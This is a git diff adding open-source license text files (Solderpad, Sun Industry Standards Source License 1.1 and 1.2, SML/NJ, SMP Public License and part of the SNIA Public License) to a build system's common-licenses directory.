+8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.
+
+9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.
+
+END OF TERMS AND CONDITIONS
+
+APPENDIX: How to apply this license to your work
+
+To apply this license to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives.
+
+Copyright [yyyy] [name of copyright owner] Copyright and related rights are licensed under the Solderpad Hardware License, Version 0.51 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://solderpad.org/licenses/SHL-0.51. Unless required by applicable law or agreed to in writing, software, hardware and materials distributed under this License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
diff --git a/meta/files/common-licenses/SISSL b/meta/files/common-licenses/SISSL
new file mode 100644
index 0000000000..7d6ad9d66c
--- /dev/null
+++ b/meta/files/common-licenses/SISSL
@@ -0,0 +1,116 @@
+Sun Industry Standards Source License - Version 1.1
+
+1.0 DEFINITIONS
+
+ 1.1 "Commercial Use" means distribution or otherwise making the Original Code available to a third party.
+
+ 1.2 "Contributor Version" means the combination of the Original Code, and the Modifications made by that particular Contributor.
+
+ 1.3 "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.4 "Executable" means Original Code in any form other than Source Code.
+
+ 1.5 "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.6 "Larger Work" means a work which combines Original Code or portions thereof with code not governed by the terms of this License.
+
+ 1.7 "License" means this document.
+
+ 1.8 "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.9 "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. A Modification is:
+
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10 "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code.
+
+ 1.11 "Patent Claims" means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+ 1.12 "Source Code" means the preferred form of the Original Code for making modifications to it, including all modules it contains, plus any associated interface definition files, or scripts used to control compilation and installation of an Executable.
+
+ 1.13 "Standards" means the standards identified in Exhibit B.
+
+ 1.14 "You" (or "Your") means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You'' includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control'' means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2.0 SOURCE CODE LICENSE
+
+ 2.1 The Initial Developer Grant The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims: 
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+
+ (b) under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+ (c) the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices, including but not limited to Modifications. 
+
+3.0 DISTRIBUTION OBLIGATIONS
+
+ 3.1 Application of License. The Source Code version of Original Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. Your license for shipment of the Contributor Version is conditioned upon Your full compliance with this Section. The Modifications which You create must comply with all requirements set out by the Standards body in effect one hundred twenty (120) days before You ship the Contributor Version. In the event that the Modifications do not meet such requirements, You agree to publish either (i) any deviation from the Standards protocol resulting from implementation of Your Modifications and a reference implementation of Your Modifications or (ii) Your Modifications in Source Code form, and to make any such deviation and reference implementation or Modifications available to all third parties under the same terms as this license on a royalty free basis within thirty (30) days of Your first customer shipment of Your Modifications.
+
+ 3.2 Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be likely to look for such a notice. If You created one or more Modification(s) You may add Your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients' rights or ownership rights relating to Initial Code. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Your version of the Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer for any liability incurred by the Initial Developer as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.3 Distribution of Executable Versions. You may distribute Original Code in Executable and Source form only if the requirements of Sections 3.1 and 3.2 have been met for that Original Code, and if You include a notice stating that the Source Code version of the Original Code is available under the terms of this License. The notice must be conspicuously included in any notice in an Executable or Source versions, related documentation or collateral in which You describe recipients' rights relating to the Original Code. You may distribute the Executable and Source versions of Your version of the Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License. If You distribute the Executable and Source versions under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer. You hereby agree to indemnify the Initial Developer for any liability incurred by the Initial Developer as a result of any such terms You offer.
+
+ 3.4 Larger Works. You may create a Larger Work by combining Original Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Original Code.
+
+4.0 INABILITY TO COMPLY DUE TO STATUTE OR REGULATION
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Original Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.2 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5.0 APPLICATION OF THIS LICENSE
+
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Modifications as set out in Section 3.1.
+
+6.0 VERSIONS OF THE LICENSE
+
+ 6.1 New Versions. Sun may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2 Effect of New Versions. Once Original Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Original Code under the terms of any subsequent version of the License published by Sun. No one other than Sun has the right to modify the terms applicable to Original Code.
+
+7.0 DISCLAIMER OF WARRANTY
+
+ORIGINAL CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE ORIGINAL CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE ORIGINAL CODE IS WITH YOU. SHOULD ANY ORIGINAL CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY ORIGINAL CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8.0 TERMINATION
+
+ 8.1 This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Original Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+ 8.2 In the event of termination under Section 8.1 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9.0 LIMIT OF LIABILITY
+
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF ORIGINAL CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10.0 U.S. GOVERNMENT END USERS
+
+U.S. Government: If this Software is being acquired by or on behalf of the U.S. Government or by a U.S. Government prime contractor or subcontractor (at any tier), then the Government's rights in the Software and accompanying documentation shall be only as set forth in this license; this is in accordance with 48 C.F.R. 227.7201 through 227.7202-4 (for Department of Defense (DoD) acquisitions) and with 48 C.F.R. 2.101 and 12.212 (for non-DoD acquisitions).
+
+11.0 MISCELLANEOUS
+
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. With respect to disputes in which at least one party is a citizen of, or an entity chartered or registered to do business in the United States of America, any litigation relating to this License shall be subject to the jurisdiction of the Federal Courts of the Northern District of California, with venue lying in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys' fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+EXHIBIT A - Sun Standards License
+
+"The contents of this file are subject to the Sun Standards License Version 1.1 (the "License"); You may not use this file except in compliance with the License. You may obtain a copy of the License at _______________________________.
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either 
+express or implied. See the License for the specific language governing rights and limitations under the License.
+
+The Original Code is ______________________________________.
+
+The Initial Developer of the Original Code is: 
+Sun Microsystems, Inc..
+
+Portions created by: _______________________________________
+
+are Copyright (C): _______________________________________
+
+All Rights Reserved.
+
+Contributor(s): _______________________________________
+EXHIBIT B - Standards
+
+The Standard is defined as the following:
+OpenOffice.org XML File Format Specification, located at http://xml.openoffice.org
+OpenOffice.org Application Programming Interface Specification, located at http://api.openoffice.org
diff --git a/meta/files/common-licenses/SISSL-1.2 b/meta/files/common-licenses/SISSL-1.2
new file mode 100644
index 0000000000..d10c189634
--- /dev/null
+++ b/meta/files/common-licenses/SISSL-1.2
@@ -0,0 +1,114 @@
+SUN INDUSTRY STANDARDS SOURCE LICENSE
+Version 1.2
+1.0 DEFINITIONS
+
+ 1.1 Commercial Use means distribution or otherwise making the Original Code available to a third party.
+
+ 1.2 Contributor Version means the combination of the Original Code, and the Modifications made by that particular Contributor.
+
+ 1.3 Electronic Distribution Mechanism means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.4 Executable means Original Code in any form other than Source Code.
+
+ 1.5 Initial Developer means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.6 Larger Work means a work which combines Original Code or portions thereof with code not governed by the terms of this License.
+
+ 1.7 License means this document.
+
+ 1.8 Licensable means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.9 Modifications means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. A Modification is:
+
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10 Original Code means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code.
+
+ 1.11 Patent Claims means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+ 1.12 Source Code means the preferred form of the Original Code for making modifications to it, including all modules it contains, plus any associated interface definition files, or scripts used to control compilation and installation of an Executable.
+
+ 1.13 Standards means the standards identified in Exhibit B.
+
+ 1.14 You (or Your) means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, You includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, control means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2.0 SOURCE CODE LICENSE
+
+ 2.1 The Initial Developer Grant The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a)under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+
+ (b) under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+
+ (c) the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices, including but not limited to Modifications.
+
+3.0 DISTRIBUTION OBLIGATIONS
+
+ 3.1 Application of License. The Source Code version of Original Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients rights hereunder. Your license for shipment of the Contributor Version is conditioned upon Your full compliance with this Section. The Modifications which You create must comply with all requirements set out by the Standards body in effect one hundred twenty (120) days before You ship the Contributor Version. In the event that the Modifications do not meet such requirements, You agree to publish either (i) any deviation from the Standards protocol resulting from implementation of Your Modifications and a reference implementation of Your Modifications or (ii) Your Modifications in Source Code form, and to make any such deviation and reference implementation or Modifications available to all third parties under the same terms a this license on a royalty free basis within thirty (30) days of Your first customer shipment of Your Modifications. Additionally, in the event that the Modifications you create do not meet the requirements set out in this Section, You agree to comply with the Standards requirements set out in Exhibit B.
+
+ 3.2 Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be likely to look for such a notice. If You created one or more Modification(s) You may add Your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients rights or ownership rights relating to Initial Code.
+
+ You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Your version of the Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer for any liability incurred by the Initial Developer as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.3 Distribution of Executable Versions. You may distribute Original Code in Executable and Source form only if the requirements of Sections 3.1 and 3.2 have been met for that Original Code, and if You include a notice stating that the Source Code version of the Original Code is available under the terms of this License. The notice must be conspicuously included in any notice in an Executable or Source versions, related documentation or collateral in which You describe recipients rights relating to the Original Code. You may distribute the Executable and Source versions of Your version of the Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License. If You distribute the Executable and Source versions under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer. You hereby agree to indemnify the Initial Developer for any liability incurred by the Initial Developer as a result of any such terms You offer.
+
+ 3.4 Larger Works. You may create a Larger Work by combining Original Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Original Code.
+
+4.0 INABILITY TO COMPLY DUE TO STATUTE OR REGULATION
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Original Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.2 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5.0 APPLICATION OF THIS LICENSE
+
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Modifications as set out in Section 3.1.
+
+6.0 VERSIONS OF THE LICENSE
+
+ 6.1 New Versions. Sun may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2 Effect of New Versions. Once Original Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Original Code under the terms of any subsequent version of the License published by Sun. No one other than Sun has the right to modify the terms applicable to Original Code.
+
+7.0 DISCLAIMER OF WARRANTY
+
+ORIGINAL CODE IS PROVIDED UNDER THIS LICENSE ON AN AS IS BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE ORIGINAL CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE ORIGINAL CODE IS WITH YOU. SHOULD ANY ORIGINAL CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY ORIGINAL CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8.0 TERMINATION
+
+ 8.1 This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Original Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive. 8.2 In the event of termination under Section 8.1 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+
+EXHIBIT A - Sun Industry Standards Source License
+
+"The contents of this file are subject to the Sun Industry Standards Source License Version 1.2 (the License); You
+may not use this file except in compliance with the License."
+
+"You may obtain a copy of the License at gridengine.sunsource.net/license.html"
+
+"Software distributed under the License is distributed on an AS IS basis, WITHOUT WARRANTY OF ANY KIND, either express or
+implied. See the License for the specific language governing rights and limitations under the License."
+
+"The Original Code is Grid Engine."
+
+"The Initial Developer of the Original Code is:
+Sun Microsystems, Inc."
+
+"Portions created by: Sun Microsystems, Inc. are Copyright (C) 2001 Sun Microsystems, Inc."
+
+"All Rights Reserved."
+
+"Contributor(s):__________________________________"
+
+EXHIBIT B - Standards
+
+1.0 Requirements for project Standards. The requirements for project Standards are version-dependent and are defined at: Grid Engine standards.
+
+2.0 Additional requirements. The additional requirements pursuant to Section 3.1 are defined as:
+
+ 2.1 Naming Conventions. If any of your Modifications do not meet the requirements of the Standard, then you must change the product name so that Grid Engine, gridengine, gridengine.sunsource, and similar naming conventions are not used.
+
+ 2.2 Compliance Claims. If any of your Modifications do not meet the requirements of the Standards you may not claim, directly or indirectly, that your implementation of the Standards is compliant.
+
diff --git a/meta/files/common-licenses/SMLNJ b/meta/files/common-licenses/SMLNJ
new file mode 100644
index 0000000000..8b49442a62
--- /dev/null
+++ b/meta/files/common-licenses/SMLNJ
@@ -0,0 +1,7 @@
+STANDARD ML OF NEW JERSEY COPYRIGHT NOTICE, LICENSE AND DISCLAIMER.
+
+Copyright (c) 2001-2011 by The Fellowship of SML/NJ Copyright (c) 1989-2001 by Lucent Technologies
+
+Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both the copyright notice and this permission notice and warranty disclaimer appear in supporting documentation, and that the name of Lucent Technologies, Bell Labs or any Lucent entity not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission.
+
+Lucent disclaims all warranties with regard to this software, including all implied warranties of merchantability and fitness. In no event shall Lucent be liable for any special, indirect or consequential damages or any damages whatsoever resulting from loss of use, data or profits, whether in an action of contract, negligence or other tortious action, arising out of or in connection with the use or performance of this software.
diff --git a/meta/files/common-licenses/SMPPL b/meta/files/common-licenses/SMPPL
new file mode 100644
index 0000000000..1780a306d7
--- /dev/null
+++ b/meta/files/common-licenses/SMPPL
@@ -0,0 +1,29 @@
+Secure Messaging Protocol (SMP) Libraries [ACL, CML, SFL]
+
+Distribution Rights
+
+All source code for the SMP is being provided at no cost and with no financial limitations regarding its use and distribution. Organizations can use the SMP without paying any royalties or licensing fees. The SMP was originally developed by the U.S. Government. BAE Systems is enhancing and supporting the SMP under contract to the U.S. Government. The U.S. Government is furnishing the SMP software at no cost to the vendor subject to the conditions of the SMP Public License provided with the SMP software.
+
+29 May 2002
+
+Secure Messaging Protocol (SMP) Public License
+
+The United States Government/Department of Defense/National Security Agency/Office of Network Security (collectively "the U.S. Government") hereby grants permission to any person obtaining a copy of the SMP source and object files (the "SMP Software") and associated documentation files (the "SMP Documentation"), or any portions thereof, to do the following, subject to the following license conditions:
+
+You may, free of charge and without additional permission from the U.S. Government, use, copy, modify, sublicense and otherwise distribute the SMP Software or components of the SMP Software, with or without modifications developed by you and/or by others.
+
+You may, free of charge and without additional permission from the U.S. Government, distribute copies of the SMP Documentation, with or without modifications developed by you and/or by others, at no charge or at a charge that covers the cost of reproducing such copies, provided that this SMP Public License is retained.
+
+Furthermore, if you distribute the SMP Software or parts of the SMP Software, with or without modifications developed by you and/or others, then you must either make available the source code to all portions of the SMP Software (exclusive of any modifications made by you and/or by others) upon request, or instead you may notify anyone requesting the SMP Software source code that it is freely available from the U.S. Government.
+
+Transmission of this SMP Public License must accompany whatever portions of the SMP Software you redistribute.
+
+The SMP Software is provided without warranty or guarantee of any nature, express or implied, including without limitation the warranties of merchantability and fitness for a particular purpose.
+
+The U.S. Government cannot be held liable for any damages either directly or indirectly caused by the use of the SMP Software.
+
+It is not permitted to copy, sublicense, distribute or transfer any of the SMP Software except as expressly indicated herein. Any attempts to do otherwise will be considered a violation of this License and your rights to the SMP Software will be voided.
+
+The SMP uses the Enhanced SNACC (eSNACC) Abstract Syntax Notation One (ASN.1) C++ Library to ASN.1 encode and decode security-related data objects. The eSNACC ASN.1 C++ Library is covered by the ENHANCED SNACC SOFTWARE PUBLIC LICENSE. None of the GNU public licenses apply to the eSNACC ASN.1 C++ Library. The eSNACC Compiler is not distributed as part of the SMP.
+
+Copyright © 1997-2002 National Security Agency
diff --git a/meta/files/common-licenses/SNIA b/meta/files/common-licenses/SNIA
new file mode 100644
index 0000000000..285798e827
--- /dev/null
+++ b/meta/files/common-licenses/SNIA
@@ -0,0 +1,122 @@
+STORAGE NETWORKING INDUSTRY ASSOCIATION
+PUBLIC LICENSE
+Version 1.1
+
+1. Definitions.
+
+1.1 "Commercial Use" means distribution or otherwise making the Covered Code available to a third party.
+
+1.2 "Contributor" means each entity that creates or contributes to the creation of Modifications.
+
+1.3 "Contributor Version" means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+1.4 "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+1.5 "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+1.6 "Executable" means Covered Code in any form other than Source Code.
+
+1.7 "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+1.8 "Larger Work" means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+1.9 "License" means this document.
+
+1.10 "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+1.11 "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+1.12 "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+1.13 "Patent Claims" means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+1.14 "Source Code" means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+1.15 "You" (or "Your") means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You" includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity
+
+2. Source Code License.
+
+2.1 The Initial Developer Grant. The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+ (b) under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+ (c) the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices.
+
+2.2 Contributor Grant. Subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Contributor, to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code and/or as part of a Larger Work; and
+ (b) under Patent Claims infringed by the making, using, or selling of Modifications made by that Contributor either alone and/or in combination with its Contributor Version (or portions of such combination), to make, use, sell, offer for sale, have made, and/or otherwise dispose of: 1) Modifications made by that Contributor (or portions thereof); and 2) the combination of Modifications made by that Contributor with its Contributor Version (or portions of such combination).
+ (c) the licenses granted in Sections 2.2(a) and 2.2(b) are effective on the date Contributor first makes Commercial Use of the Covered Code.
+ (d) Notwithstanding Section 2.2(b) above, no patent license is granted: 1) for any code that Contributor has deleted from the Contributor Version; 2) separate from the Contributor Version; 3) for infringements caused by: i) third party modifications of Contributor Version or ii) the combination of Modifications made by that Contributor with other software (except as part of the Contributor Version) or other devices; or 4) under Patent Claims infringed by Covered Code in the absence of Modifications made by that Contributor.
+
+3. Distribution Obligations.
+
+3.1 Application of License. The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+3.2 Availability of Source Code. Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
